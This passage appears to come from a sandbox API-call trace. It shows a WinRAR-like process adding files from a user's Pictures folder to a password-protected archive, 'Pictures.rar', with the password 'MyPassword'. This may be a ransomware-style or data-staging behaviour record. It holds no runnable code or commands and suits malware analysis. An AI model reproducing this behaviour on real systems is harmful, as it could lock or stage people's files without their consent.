PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.599] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.599] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.599] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.599] FindFirstFileW (in: lpFileName="Cg4L5J0Hp5g.bmp", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0ee310 [0064.599] FindClose (in: hFindFile=0x28b0c0ee310 | out: hFindFile=0x28b0c0ee310) returned 1 [0064.599] CreateFileW (lpFileName="Cg4L5J0Hp5g.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\cg4l5j0hp5g.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.599] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.599] GetTickCount () returned 0x260f2 [0064.599] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.599] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.599] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.599] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.599] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0064.599] SetWindowTextW (hWnd=0x102c6, lpString="Cg4L5J0Hp5g.bmp") returned 1 [0064.601] GetTickCount () returned 0x260f2 [0064.601] UpdateWindow (hWnd=0x102be) returned 1 [0064.601] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.601] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.601] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.602] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.602] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x55)) [0064.602] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.602] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15593021908) returned 1 [0064.602] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0xe69, lpOverlapped=0x0) returned 1 [0064.602] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70cea9, nNumberOfBytesToRead=0xff197, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70cea9*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.602] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f630 [0064.602] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc90 [0064.602] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc90, Size=0x48) returned 0x28b084f98e0 [0064.602] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d7090 [0064.602] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f870 [0064.602] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f870, Size=0x48) returned 0x28b084f9a20 [0064.602] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d7090 | out: hHeap=0x28b08430000) returned 1 [0064.602] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f98e0 | out: hHeap=0x28b08430000) returned 1 [0064.602] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f960 [0064.602] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fcc0 [0064.602] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fcc0 | out: hHeap=0x28b08430000) returned 1 [0064.602] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f960 | out: hHeap=0x28b08430000) returned 1 [0064.602] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f630, Size=0x48) returned 0x28b084f9200 [0064.602] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9200, Size=0x7a) returned 0x28b084ed0a0 [0064.602] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9a20 | out: hHeap=0x28b08430000) returned 1 [0064.602] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed0a0 | out: hHeap=0x28b08430000) returned 1 [0064.602] GetTickCount () returned 0x260f2 [0064.602] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15593079817) returned 1 [0064.602] GetTickCount () returned 0x260f2 [0064.602] GetTickCount () returned 0x260f2 [0064.602] GetTickCount () returned 0x260f2 [0064.602] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.602] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.602] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.602] ResetEvent (hEvent=0x344) returned 1 [0064.602] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.603] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.603] ResetEvent (hEvent=0x344) returned 1 [0064.603] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.604] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.604] GetTickCount () returned 0x260f2 [0064.604] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15593228704) returned 1 [0064.604] GetTickCount () returned 0x260f2 [0064.604] GetTickCount () returned 0x260f2 [0064.604] GetTickCount () returned 0x260f2 [0064.604] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.604] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.604] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.604] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.604] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.604] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x94aa1 [0064.604] SetFilePointer (in: hFile=0x32c, lDistanceToMove=97, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x94b02 [0064.604] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.604] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.605] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.605] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.605] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xea0, lpOverlapped=0x0) returned 1 [0064.605] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.605] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.605] SetFilePointer (in: hFile=0x32c, lDistanceToMove=608929, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x94aa1 [0064.605] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x94aa1 [0064.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0064.605] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fc00, Size=0x48) returned 0x28b084f9bb0 [0064.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d64d0 [0064.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f720 [0064.605] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f720, Size=0x48) returned 0x28b084f9ca0 [0064.605] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d64d0 | out: hHeap=0x28b08430000) returned 1 [0064.605] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0064.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f870 [0064.605] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f990 [0064.605] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f990 | out: hHeap=0x28b08430000) returned 1 [0064.605] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f870 | out: hHeap=0x28b08430000) returned 1 [0064.605] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f930, Size=0x48) returned 0x28b084f9430 [0064.605] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9430, Size=0x7a) returned 0x28b084ecef0 [0064.605] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ecef3*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ecef3*, lpNumberOfBytesWritten=0xf00f8d8070*=0x61, lpOverlapped=0x0) returned 1 [0064.606] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9ca0 | out: hHeap=0x28b08430000) returned 1 [0064.606] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ecef0 | out: hHeap=0x28b08430000) returned 1 [0064.606] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x959a2 [0064.606] CloseHandle (hObject=0x350) returned 1 [0064.606] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.606] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.606] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.606] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.606] FindFirstFileW (in: lpFileName="desktop.ini", lpFindFileData=0xf00f8dc410 | out: lpFindFileData=0xf00f8dc410) returned 0x28b0c0eea30 [0064.606] FindClose (in: hFindFile=0x28b0c0eea30 | out: hFindFile=0x28b0c0eea30) returned 1 [0064.606] CreateFileW (lpFileName="desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0064.606] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0064.606] GetTickCount () returned 0x26102 [0064.606] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8dd270, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0064.606] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0064.606] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="adding") returned 6 [0064.606] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0064.606] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dbe20, nMaxCount=2560 | out: lpString="Cg4L5J0Hp5g.bmp") returned 15 [0064.606] SetWindowTextW (hWnd=0x102c6, lpString="desktop.ini") returned 1 [0064.607] GetTickCount () returned 0x26102 [0064.607] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0064.607] CryptAcquireContextW (in: phProv=0xf00f8dd600, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xf00f8dd600*=0x28b084f5440) returned 1 [0064.607] CryptGenRandom (in: hProv=0x28b084f5440, dwLen=0x10, pbBuffer=0xf00f8dd680 | out: pbBuffer=0xf00f8dd680) returned 1 [0064.607] CryptReleaseContext (hProv=0x28b084f5440, dwFlags=0x0) returned 1 [0064.607] GetSystemTime (in: lpSystemTime=0xf00f8dd598 | out: lpSystemTime=0xf00f8dd598*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2a, wMilliseconds=0x64)) [0064.607] SystemTimeToFileTime (in: lpSystemTime=0xf00f8dd598, lpFileTime=0xf00f8dd590 | out: lpFileTime=0xf00f8dd590) returned 1 [0064.607] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd5c0 | out: lpPerformanceCount=0xf00f8dd5c0*=15593595182) returned 1 [0064.607] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c040*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x1f8, lpOverlapped=0x0) returned 1 [0064.607] ReadFile (in: hFile=0x350, lpBuffer=0x28b0b70c238, nNumberOfBytesToRead=0xffe08, lpNumberOfBytesRead=0xf00f8dd6a0, lpOverlapped=0x0 | out: lpBuffer=0x28b0b70c238*, lpNumberOfBytesRead=0xf00f8dd6a0*=0x0, lpOverlapped=0x0) returned 1 [0064.607] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fab0 [0064.608] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0064.608] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9bb0 [0064.608] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.608] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fd20 [0064.608] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fd20, Size=0x48) returned 0x28b084f9430 [0064.608] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.608] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0064.608] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0064.608] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fae0 [0064.608] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fae0 | out: hHeap=0x28b08430000) returned 1 [0064.608] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f6f0 | out: hHeap=0x28b08430000) returned 1 [0064.608] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fab0, Size=0x48) returned 0x28b084f9480 [0064.608] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9480, Size=0x7a) returned 0x28b084ed520 [0064.608] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9430 | out: hHeap=0x28b08430000) returned 1 [0064.608] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed520 | out: hHeap=0x28b08430000) returned 1 [0064.608] GetTickCount () returned 0x26102 [0064.608] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4e0 | out: lpPerformanceCount=0xf00f8dd4e0*=15593666729) returned 1 [0064.608] GetTickCount () returned 0x26102 [0064.608] GetTickCount () returned 0x26102 [0064.608] GetTickCount () returned 0x26102 [0064.608] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xf00f8dd098 | out: ppv=0xf00f8dd098*=0x28b0a22f9c0) returned 0x0 [0064.608] TaskbarList:ITaskbarList3:SetProgressState (This=0x28b0a22f9c0, hwnd=0x102be, tbpFlags=2) returned 0x0 [0064.609] TaskbarList:ITaskbarList3:SetProgressValue (This=0x28b0a22f9c0, hwnd=0x102be, ullCompleted=0x95092, ullTotal=0x2141be) returned 0x0 [0064.609] TaskbarList:IUnknown:Release (This=0x28b0a22f9c0) returned 0x0 [0064.609] GetLastError () returned 0x36b7 [0064.609] SetLastError (dwErrCode=0x36b7) [0064.609] GetDlgItem (hDlg=0x102be, nIDDlgItem=157) returned 0x102e0 [0064.609] GetDlgItem (hDlg=0x102be, nIDDlgItem=152) returned 0x102de [0064.609] GetWindowTextW (in: hWnd=0x102de, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 22%") returned 5 [0064.609] SetWindowTextW (hWnd=0x102de, lpString=" 28%") returned 1 [0064.610] GetLastError () returned 0x0 [0064.610] SetLastError (dwErrCode=0x0) [0064.610] GetDlgItem (hDlg=0x102be, nIDDlgItem=164) returned 0x102da [0064.610] GetWindowTextW (in: hWnd=0x102da, lpString=0xf00f8dbc60, nMaxCount=2560 | out: lpString=" 83%") returned 5 [0064.610] SetWindowTextW (hWnd=0x102da, lpString=" 100%") returned 1 [0064.610] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x1c, lParam=0x0) returned 0x16 [0064.611] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0064.611] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0064.611] GetFocus () returned 0x102e2 [0064.611] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0064.612] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 0 [0064.612] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.612] ResetEvent (hEvent=0x344) returned 1 [0064.612] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0064.612] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0064.612] GetTickCount () returned 0x26102 [0064.612] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15594095924) returned 1 [0064.612] GetTickCount () returned 0x26102 [0064.612] GetTickCount () returned 0x26102 [0064.612] GetTickCount () returned 0x26102 [0064.612] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.612] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 0 [0064.612] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.613] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.613] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.613] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x959a2 [0064.613] SetFilePointer (in: hFile=0x32c, lDistanceToMove=93, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x959ff [0064.613] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0064.613] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0064.613] CryptUnprotectMemory (in: pDataIn=0xf00f8dcbf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dcbf0) returned 1 [0064.613] CryptUnprotectMemory (in: pDataIn=0xf00f8dccf0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dccf0) returned 1 [0064.613] CryptUnprotectMemory (in: pDataIn=0xf00f8dce70, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xf00f8dce70) returned 1 [0064.613] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xd0, lpOverlapped=0x0) returned 1 [0064.613] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 0 [0064.613] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0064.613] SetFilePointer (in: hFile=0x32c, lDistanceToMove=612770, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x959a2 [0064.613] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x959a2 [0064.613] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0064.613] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0064.614] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9bb0 [0064.614] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0064.614] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f930 [0064.614] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f930, Size=0x48) returned 0x28b084f8ee0 [0064.614] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0064.614] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9bb0 | out: hHeap=0x28b08430000) returned 1 [0064.614] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fc00 [0064.614] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f870 [0064.614] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f870 | out: hHeap=0x28b08430000) returned 1 [0064.614] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fc00 | out: hHeap=0x28b08430000) returned 1 [0064.614] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa50, Size=0x48) returned 0x28b084f9020 [0064.614] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9020, Size=0x7a) returned 0x28b084ed400 [0064.614] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed403*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed403*, lpNumberOfBytesWritten=0xf00f8d8070*=0x5d, lpOverlapped=0x0) returned 1 [0064.614] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f8ee0 | out: hHeap=0x28b08430000) returned 1 [0064.614] HeapFree (in: 